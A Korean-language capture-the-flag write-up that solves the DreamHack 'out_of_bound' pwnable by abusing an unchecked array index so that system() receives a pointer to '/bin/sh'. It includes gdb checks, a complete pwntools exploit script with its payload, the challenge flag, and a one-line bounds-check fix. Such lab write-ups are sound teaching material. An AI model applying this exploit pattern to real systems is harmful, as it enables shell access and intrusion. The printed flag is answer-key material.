[๐ฅ Bronze 4] ๊ฒฝ๊ณ ์๋ ๋ฐฐ์ด ์ธ๋ฑ์ค๋ก system ์ธ์ ๋ฐ๊ฟ์น๊ธฐ โ DreamHack out_of_bound ํ์ด โ ZINO2026-06-08ยท1๋ถ ์ฝ๊ธฐยท
command[idx]์ ์ธ๋ฑ์ค ๊ฒ์ฌ๊ฐ ์์ด ๋ฐฐ์ด ๋ฐ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํฌ์ธํฐ๋ก ์ฝ๋๋ค. ๋ง์นจ command[19]๊ฐ ์ฐ๋ฆฌ๊ฐ ์ฑ์ฐ๋ ์ ์ญ name ๋ฒํผ์ ์ฃผ์๊ฐ ๊ฒน์น๋, name์ "/bin/sh๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ"๋ฅผ ์ฌ์ผ๋ฉด system("/bin/sh")๊ฐ ๊ทธ๋๋ก ํธ์ถ๋๋ค. NXยท์นด๋๋ฆฌยทNo PIE ํ๊ฒฝ์์ ์
ธ์ฝ๋๋ RIP ๋ฎ์ด์ฐ๊ธฐ๋ ์์ด ์
ธ์ ๋ด๋ค.
๋ฌธ์ : DreamHack โ out_of_bound
๋ถ๋ฅ: Pwnable (System Hacking)
๋์ด๋: ๐ฅ Bronze 4
FLAG: DH{2524e20ddeee45f11c8eb91804d57296}
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|
| ๋ฌธ์ ๋ช
| out_of_bound |
| ๋์ด๋ | ๐ฅ Bronze 4 |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต ํ์ผ | out_of_bound (ELF 32-bit i386), out_of_bound.c |
| ์๋ฒ | nc host8.dreamhack.games 15446 |
| ๋ณดํธ ๊ธฐ๋ฒ | Partial RELRO ยท Canary ยท NX ยท No PIE |
| ํต์ฌ ์ทจ์ฝ์ | ๋ฐฐ์ด ์ธ๋ฑ์ค ๊ฒฝ๊ณ๊ฒ์ฌ ๋ถ์ฌ(OOB read) โ system ์ธ์ ์กฐ์ |
์์ค๊ฐ ๊ฐ์ด ์ฃผ์ด์ง๋ ์น์ ํ ๋ฌธ์ ๋ค. ๋ณดํธ ๊ธฐ๋ฒ์ ๋ค ์ผ์ ธ ์์ง๋ง(์นด๋๋ฆฌยทNX), ์ทจ์ฝ์ ์ด ์คํ ์ค๋ฒํ๋ก๊ฐ ์๋๋ผ ๋ฐฐ์ด ์ธ๋ฑ์ค ๋ฒ์ ์ด๊ณผ๋ผ ๊ทธ ๋ณดํธ๋ค์ด ๋ฌด์๋ฏธํ๋ค. ์
ธ์ฝ๋๋ฅผ ์ฌ๋ฆด ํ์๋, ๋ฆฌํด ์ฃผ์๋ฅผ ๋ฎ์ ํ์๋ ์๋ค.
file out_of_bound && pwn checksec out_of_bound
file ยท checksec โ i386, Canary/NX, No PIE
์ด ๊ธ์ด ๋์์ด ๋๋์?
No PIE๋ผ ๋ชจ๋ ์ ์ญ ์ฃผ์๊ฐ 0x8048000 ๊ธฐ์ค์ผ๋ก ๊ณ ์ ์ด๋ค. ์ด๊ฒ ํ์ด์ ์ ์ ๊ฐ ๋๋ค.
๐ฌ ์์ค ๋ถ์
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name)); // (1) name 16๋ฐ์ดํธ๋ฅผ ์ฐ๋ฆฌ๊ฐ ์ฑ์ด๋ค
printf("What do you want?: ");
scanf("%d", &idx); // (2) idx โ ๋ถํธ ์๋ int, ๋ฒ์ ๊ฒ์ฌ ์์
system(command[idx]); // (3) command[idx]๋ฅผ ๋ช
๋ น์ผ๋ก ์คํ
return 0;
}
ํ๋ฆ์ ์ธ ์ค์ด ์ ๋ถ๋ค.
- ์ ์ญ
name[16]์ ์ฐ๋ฆฌ ์
๋ ฅ 16๋ฐ์ดํธ๋ฅผ ๊ทธ๋๋ก ๋ฐ๋๋ค.
idx๋ฅผ ์ ์๋ก ๋ฐ๋๋ค. 0~9 ๊ฐ์ ๋ฒ์ ์ฒดํฌ๊ฐ ์ ํ ์๋ค.
command[idx]๊ฐ ๊ฐ๋ฆฌํค๋ ๋ฌธ์์ด์ system์ ๋๊ธด๋ค.
command๋ char * 10์นธ์ง๋ฆฌ ๋ฐฐ์ด์ธ๋ฐ 5์นธ๋ง ์ด๊ธฐํ๋ผ ์๋ค. ์ ์์ ์ผ๋ก๋ idx๊ฐ 0~4์ฌ์ cat/ls/id/ps/file ./oob ์ค ํ๋๊ฐ ์คํ๋๋ค. ํ์ง๋ง idx์ ์ ํ์ด ์์ผ๋ ๋ฐฐ์ด ๋ฒ์๋ฅผ ๋ฒ์ด๋ ์ฃผ์๋ฅผ ํฌ์ธํฐ๋ก ์ฝ์ด system์ ๋๊ธธ ์ ์๋ค. ์ด๊ฒ out-of-bounds(OOB)๋ค.
๐ฃ ํต์ฌ ์ทจ์ฝ์ โ command[idx]๊ฐ name๊ณผ ๊ฒน์น๋ค
system(command[idx])๋ command + idx*4 ์์น์ 4๋ฐ์ดํธ(32๋นํธ ํฌ์ธํฐ)๋ฅผ ์ฝ์ด ๊ทธ ์ฃผ์์ ๋ฌธ์์ด์ ์คํํ๋ค. ๊ทธ๋ฌ๋ ๋
ธ๋ฆด ๊ฑด ๋จ์ํ๋ค โ command + idx*4๊ฐ ์ฐ๋ฆฌ๊ฐ ๋ด์ฉ์ ์ฑ์ธ ์ ์๋ ๊ณณ์ ๊ฐ๋ฆฌํค๊ฒ ๋ง๋ค๋ฉด ๋๋ค.
๋ง์นจ name์ด ๋ฑ ๊ทธ๋ฐ ๊ณณ์ด๋ค. ๋ ์ ์ญ์ ์ฃผ์๋ฅผ ๋ณด๋ฉด ๊ฐ๊น๋ค.
nm out_of_bound | grep -E " name| command"; objdump -s -j .data out_of_bound | sed -n "5,8p"
nm ยท objdump โ command=0x804a060, name=0x804a0ac, ๋ฐฐ์ด ์ด๊ธฐ๊ฐ
command = 0x804a060
name = 0x804a0ac
์ฐจ์ด๊ฐ 0x804a0ac - 0x804a060 = 0x4c = 76๋ฐ์ดํธ. ํ ์นธ์ด 4๋ฐ์ดํธ๋ 76 / 4 = 19. ์ฆ command[19]๋ฅผ ์ฝ์ผ๋ฉด ๋ฐ๋ก name์ ์ฒซ 4๋ฐ์ดํธ๋ฅผ ์ฝ๋๋ค.
name์ ์ฐ๋ฆฌ๊ฐ ์ฑ์ฐ๋, name[0:4]์ "/bin/sh ๋ฌธ์์ด์ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ"๋ฅผ ์ฌ์ผ๋ฉด ๋๋ค. /bin/sh ๋ฌธ์์ด ์์ฒด๋ name์ ๋๋จธ์ง ๊ณต๊ฐ(name+4)์ ๊ฐ์ด ๋ฃ๋๋ค.
command ๋ฐฐ์ด์ ๋์ด name๊น์ง โ OOB ์ธ๋ฑ์ค์ 2๋จ๊ณ ํฌ์ธํฐ
์ ๋ฆฌํ๋ฉด idx = 19์ผ ๋ ์ด๋ ๊ฒ ํ๋ฌ๊ฐ๋ค.
system( command[19] )
= system( *(0x804a0ac) ) ; command[19] == name[0:4]
= system( 0x804a0b0 ) ; name[0:4]์ ์ฐ๋ฆฌ๊ฐ ์ฌ์ ํฌ์ธํฐ
= system( "/bin/sh" ) ; 0x804a0b0 = name+4 = "/bin/sh"
No PIE๋ผ 0x804a0ac, 0x804a0b0 ๊ฐ์ ์ฃผ์๊ฐ ์คํ๋ง๋ค ๊ณ ์ ์ด๋ผ ์ด ๊ณ์ฐ์ด ๊ทธ๋๋ก ๋ง๋๋ค.
์ ์ ๊ณ์ฐ๋ง ๋ฏฟ์ง ๋ง๊ณ , gdb๋ก system ์ง์
์ ๋ธ๋ ์ดํฌ๋ฅผ ๊ฑธ์ด ๋ฐํ์์ ์ค์ ๋ก ๊ทธ๋ ๊ฒ ๋๋์ง ํ์ธํ๋ค.
gdb -q ./out_of_bound
break system
run < input # name = p32(0x804a0b0)+"/bin/sh\0"+pad, ๊ทธ๋ค์ idx="19"
x/s command[19] # command[19] = *(name) โ "/bin/sh"
x/s *(char**)($esp+4) # i386 cdecl: system ์ธ์ == "/bin/sh"
gdb๋ก system ์ง์
์ค์ธก โ command base 0x804a060, &command[19]=0x804a0ac(=name base), command[19] ๊ฐ 0x804a0b0์ด name+4์ "/bin/sh"๋ฅผ ๊ฐ๋ฆฌํค๊ณ system ์ธ์([esp+4])๋ ๋์ผํ๋ค
๐ฏ ์ต์คํ๋ก์ ์ค๊ณ
ํ์ํ ์
๋ ฅ์ ๋ ๊ฐ๋ฟ์ด๋ค.
name (16๋ฐ์ดํธ) โ read(0, name, 16)์ด ์ ํํ 16๋ฐ์ดํธ๋ฅผ ์ฝ๋๋ก ๊ฝ ์ฑ์ด๋ค.
p32(0x804a0b0) + b"/bin/sh\x00" + b"AAAA"
โ name[0:4] โ name[4:12] โ name[12:16] ํจ๋ฉ
= name+4 ํฌ์ธํฐ = "/bin/sh"
name[0:4]๋ name+4(=0x804a0b0)๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ, name[4:]๋ ์ค์ /bin/sh ๋ฌธ์์ด์ด๋ค. 16๋ฐ์ดํธ๋ฅผ ๊ฝ ์ฑ์ฐ๋ ์ด์ ๋, read๊ฐ 16๋ฐ์ดํธ๋ฅผ ๋ค ์ฝ๊ณ ๋ฉ์ถฐ์ผ ๋ค์ด์ scanf๊ฐ idx ์
๋ ฅ์ ๋ฐ๋ก ๋ฐ๊ธฐ ๋๋ฌธ์ด๋ค(๋ ๋ณด๋ด๋ฉด read๊ฐ idx๊น์ง ์ผํฌ ์ ์๋ค).
scanf("%d")์ 19๋ฅผ ์ฃผ๋ฉด system(command[19]) = system("/bin/sh")๋ก ์
ธ์ด ์ด๋ฆฐ๋ค.
๐ Full Exploit
pwntools๋ก ๋ถ์ฌ ์
ธ์ ์ก๊ณ , ๊ทธ ์๋ฆฌ์์ cat flag๊น์ง ์๋์ผ๋ก ๋ฐ์ ์ฐ๊ฒ ํ๋ค.
#!/usr/bin/env python3
# out_of_bound (Dreamhack, Bronze 4) โ OOB index on command[] โ system("/bin/sh")
from pwn import *
context.update(arch="i386", os="linux", log_level="error")
NAME = 0x804a0ac # char name[16]
COMMAND = 0x804a060 # char *command[10]
IDX = (NAME - COMMAND) // 4 # = 19
# name = [ ptr -> "/bin/sh" ][ "/bin/sh\0" ], padded to 16 so read() consumes it all
payload = p32(NAME + 4) + b"/bin/sh\x00"
payload = payload.ljust(16, b"A")
p = remote("host8.dreamhack.games", 15446) if args.REMOTE else process("./out_of_bound")
p.recvuntil(b"Admin name: ")
p.send(payload) # read(0, name, 16)
p.recvuntil(b"What do you want?: ")
p.sendline(str(IDX).encode()) # scanf("%d", &idx) -> system("/bin/sh")
# we now have a shell โ pull the flag and print it
p.sendline(b"cat flag")
p.recvuntil(b"DH{")
flag = b"DH{" + p.recvuntil(b"}")
print("[+] idx =", IDX)
print("[+] payload =", payload)
print("[+] FLAG =", flag.decode())
p.close()
์คํํ๋ฉด ์
ธ์ด ์ด๋ฆฌ๊ณ ํ๋๊ทธ๊ฐ ๋จ์ด์ง๋ค.
exploit.py ์คํ โ idx=19, /bin/sh ์
ธ๋ก flag ํ์
[+] idx = 19
[+] payload = b'\xb0\xa0\x04\x08/bin/sh\x00AAAA'
[+] FLAG = DH{2524e20ddeee45f11c8eb91804d57296}
ํ๋๊ทธ๋ DH{2524e20ddeee45f11c8eb91804d57296}.
๐ ์ ๋ฆฌ
๊ฒฝ๊ณ๊ฒ์ฌ ์๋ ์ธ๋ฑ์ค๋ ๊ทธ ์์ฒด๋ก ์์ ๋ฉ๋ชจ๋ฆฌ ์ ๊ทผ์ด๋ค.
์ด ๋ฌธ์ ๋ ๋ฒํผ ์ค๋ฒํ๋ก๊ฐ ์๋๋ค. command[idx]์์ idx๋ฅผ ๊ฒ์ฌํ์ง ์์ ํ ์ค์ด, ๋ฐฐ์ด ๋ฐ ์์ ์์น๋ฅผ ํฌ์ธํฐ๋ก ์ฝ์ด system์ ๋๊ธฐ๋ ํต๋ก๊ฐ ๋๋ค. ์นด๋๋ฆฌ๋ NX๋ ์คํ์ ์งํฌ ๋ฟ, ๋ฐฐ์ด ๋ฐ ์ฝ๊ธฐ์๋ ๊ด์ฌํ์ง ์๋๋ค. ์ทจ์ฝ์ ์ ์ข
๋ฅ์ ๋ง๋ ๋ฐฉ์ด๊ฐ ์ผ์ ธ ์์ด์ผ ์๋ฏธ๊ฐ ์๋ค๋ ๊ฑธ ๋ณด์ฌ์ค๋ค.
No PIE + ์ฐ๋ฆฌ๊ฐ ์ฑ์ฐ๋ ์ ์ญ ๋ฒํผ๊ฐ ๋ง๋๋ฉด ์ต์ค๊ฐ ๊ฒฐ์ ์ ์ด๋ค.
PIE๊ฐ ์์ด nameยทcommand ์ฃผ์๊ฐ ๊ณ ์ ์ด๊ณ , name์ ์
๋ ฅ์ผ๋ก ํต์งธ๋ก ์ฑ์ด๋ค. ๊ทธ๋์ idx์ ํ์ด๋ก๋๊ฐ ํ ๋ฒ์ ์ ํด์ง๊ณ , ์
ธ์ฝ๋๋ ๋ฆฌํด ์ฃผ์ ๋ฎ๊ธฐ ์์ด system("/bin/sh") ํ ๋ฐฉ์ผ๋ก ๋๋๋ค. ๋ฐฉ์ด ์ธก๋ฉด์์ if (idx < 0 || idx >= 10) exit(1); ํ ์ค, ๊ทธ๋ฆฌ๊ณ ์ ์ญ์ ํจ์ ์ธ์๋ก ์ฐ์ผ ๋ฐ์ดํฐ์ ์ฌ์ฉ์ ์
๋ ฅ ๋ฒํผ๋ฅผ ์ธ์ ๋ฐฐ์นํ์ง ์๋ ๊ฒ์ผ๋ก ๋งํ๋ค.
+5
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ